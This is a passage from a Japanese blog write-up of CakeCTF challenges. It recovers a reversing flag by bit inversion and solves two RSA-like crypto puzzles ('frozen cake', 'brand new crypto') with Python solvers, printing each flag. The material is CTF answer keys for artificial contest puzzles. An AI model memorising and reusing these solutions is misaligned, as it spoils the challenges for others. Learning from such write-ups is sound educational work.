このため,上記の key とした配列では, 0x10 byte目から実際の値の格納が行われており, key[0] は文字列の長さとして利用されている.

上記の考察に基づいてデコンパイラ結果を見ると,この key の値を渡している map_main_11 関数でフラグを計算する処理が行われていそうである.

ということで,この関数を見てみると,

char * map_main_11(char *key,long len,code *colonanonymous,long param_4)

{
  char reverse_c;
  char *flag;
  long i;

  flag = (char *)newSeq(NTIseqLcharT__lBgZ7a89beZGYPl8PiANMTA_,len);
  for (i = 0; i < len; i = i + 1) {
    if (param_4 == 0) {
      reverse_c = (*colonanonymous)((int)key[i]);
    }
    else {
      reverse_c = (*colonanonymous)((int)key[i],param_4);
    }
    flag[i + 0x10] = reverse_c;
  }
  return flag;
}

byte colonanonymous__main_7(byte param_1)

{
  return ~param_1;
}

key の値に対して, colonanonymous という関数を実行し,これの戻り値を連結して,関数全体の戻り値としているようである.この戻り値がそのまま入力との比較に利用されるため,この戻り値が flag であると考えられる.そこで, key に対して処理行っている colonanonymous を確認してみると,ただbitを反転させているだけのようである.

以上のことから, key の配列に対して not 演算を行えばフラグが取れそうなので,solveを書いておわり.

solver

key = [0 for i in range(0x28)]

key[0x10] = -0x44
key[0x11] = -0x62
key[0x12] = -0x6c
key[0x13] = -0x66
key[0x14] = -0x44
key[0x15] = -0x55
key[0x16] = -0x47
key[0x17] = -0x7c
key[0x18] = -0x74
key[0x19] = -0x31
key[0x1a] = -0x6e
key[0x1b] = -0x34
key[0x1c] = -0x75
key[0x1d] = -0x32
key[0x1e] = -0x6e
key[0x1f] = -0x34
key[0x20] = -0x74
key[0x21] = -0x60
key[0x22] = -0x6f
key[0x23] = -0x31
key[0x24] = -0x75
key[0x25] = -0x60
key[0x26] = -0x44
key[0x27] = -0x7e

flag = [chr(~k) for k in key if k != 0]

print(''.join(flag))
$ python solve.py
CakeCTF{s0m3t1m3s_n0t_C}

CakeCTF{s0m3t1m3s_n0t_C}

crypto

frozen cake

下記のような処理が行われており,

from Crypto.Util.number import getPrime
import os

flag = os.getenv("FLAG", "FakeCTF{warmup_a_frozen_cake}")
m = int(flag.encode().hex(), 16)

p = getPrime(512)
q = getPrime(512)

n = p*q

print("n =", n)
print("a =", pow(m, p, n))
print("b =", pow(m, q, n))
print("c =", pow(m, n, n))

n, a, b, c の値が公開されている.本番中取り組んだが,なんもわからず敗北して悔しかったので kurenaifさんの配信を見ながら解いた.

敗因は明確で,オイラーのトーシェント関数を知らなかったことであり,どれだけ式変形をしても解に辿りつけなかった.(悲しい)

オイラーのトーシェント関数は,

n = p*q

φ(n) = (p-1)*(q-1) mod n

において,mが任意の数字で

mφ(n) = 1 mod n

が成立するという性質がある.

この性質を利用すると,

mφ(n) = mp*q - p - q + 1 = mpq * m-p * m-q * m1 = c * a-1 * b-1 * m = c*m/(a*b) = 1 mod n

が成立する.

このため,

m = a*b/c mod n

となるため,a, b, c, nの値からmが求まる.

solver

from Crypto.Util.number import getPrime

n = 101205131618457490641888226172378900782027938652382007193297646066245321085334424928920128567827889452079884571045344711457176257019858157287424646000972526730522884040459357134430948940886663606586037466289300864147185085616790054121654786459639161527509024925015109654917697542322418538800304501255357308131
a = 38686943509950033726712042913718602015746270494794620817845630744834821038141855935687477445507431250618882887343417719366326751444481151632966047740583539454488232216388308299503129892656814962238386222995387787074530151173515835774172341113153924268653274210010830431617266231895651198976989796620254642528
b = 83977895709438322981595417453453058400465353471362634652936475655371158094363869813512319678334779139681172477729044378942906546785697439730712057649619691929500952253818768414839548038664187232924265128952392200845425064991075296143440829148415481807496095010301335416711112897000382336725454278461965303477
c = 21459707600930866066419234194792759634183685313775248277484460333960658047171300820279668556014320938220170794027117386852057041210320434076253459389230704653466300429747719579911728990434338588576613885658479123772761552010662234507298817973164062457755456249314287213795660922615911433075228241429771610549


m = a*b*pow(c, -1, n)%n

# print(m)
m = format(m, 'x')
print(m)
flag = bytes.fromhex(m)

print(flag.decode())

CakeCTF{oh_you_got_a_tepid_cake_sorry}

brand new crypto

上の問題ついでに競技後に解いたが,比較的何も知らなくても解ける問題だったため,競技中やればよかったと少し後悔.

問題

from Crypto.Util.number import getPrime, getRandomRange, inverse, GCD
import os

flag = os.getenv("FLAG", "FakeCTF{sushi_no_ue_nimo_sunshine}").encode()


def keygen():
    p = getPrime(512)
    q = getPrime(512)

    n = p * q
    phi = (p-1)*(q-1)

    while True:
	a = getRandomRange(0, phi)
	b = phi + 1 - a

	s = getRandomRange(0, phi)
	t = -s*a * inverse(b, phi) % phi

	if GCD(b, phi) == 1:
	    break
    return (s, t, n), (a, b, n)


def enc(m, k):
    s, t, n = k
    r = getRandomRange(0, n)

    c1, c2 = m * pow(r, s, n) % n, m * pow(r, t, n) % n
    assert (c1 * inverse(m, n) % n) * inverse(c2 * inverse(m, n) % n, n) % n == pow(r, s - t, n)
    assert pow(r, s -t ,n) == c1 * inverse(c2, n) % n
    return m * pow(r, s, n) % n, m * pow(r, t, n) % n


def dec(c1, c2, k):
    a, b, n = k
    return pow(c1, a, n) * pow(c2, b, n) % n


pubkey, privkey = keygen()

c = []
for m in flag:
    c1, c2 = enc(m, pubkey)
    assert dec(c1, c2, privkey)

    c.append((c1, c2))

print(pubkey)
print(c)

keygenにより公開鍵と秘密鍵を作成し,これを秘密鍵で暗号化したものを公開鍵と一緒に渡されるため,公開鍵の情報だけで暗号文を復号しろというもの.

愚直に問題読んで,とりあえず数式を立てると,

c1 = m*rs mod n …①

c2 = m*rt mod n

の2つの式が成り立つ.

また,上の式を変形した,

rs-t = c1/c2 mod n

も成り立つ.

ここで,①をrについて解くと,

rs = c1/m mod n

が成り立つ.

ここで,お互いをs-t, s乗すると,

(c1/c2)s = (c1/m)s-t mod n

が成立する.

さらに,mはフラグであることから,ASCII文字であるため,0x00から0x7fの範囲にあることがわかる.

よって,mを0x00から0x7fまで変更しながら上記の式が成り立つまでループを回せば,フラグが取れるはず. (mが0のときにプログラムがバグるので,mは1からにした.)

solver

import output

s, t, n = output.pubkey

for c1, c2 in output.c:
    for m in range(1,0x7f):
	if pow(c1*pow(c2, -1, n), s, n) == pow(c1*pow(m, -1, n), s-t, n):
	    print(chr(m), end='', flush=True)

print('\n', end='')

CakeCTF{s0_anyway_tak3_car3_0f_0n3_byt3_p1aint3xt}

Survey

アンケートに答えると貰える.

楽しかったです!!

CakeCTF{ar3_y0u_5ati5fi3d_with_thi5_y3ar5_cak3?}

Welcome

CakeCTF{p13a53_tast3_0ur_5p3cia1_cak35}

おわりに

ヒープから逃げてごめんなさい.

mc4nf
mc4nf

軽率にFollow me!:)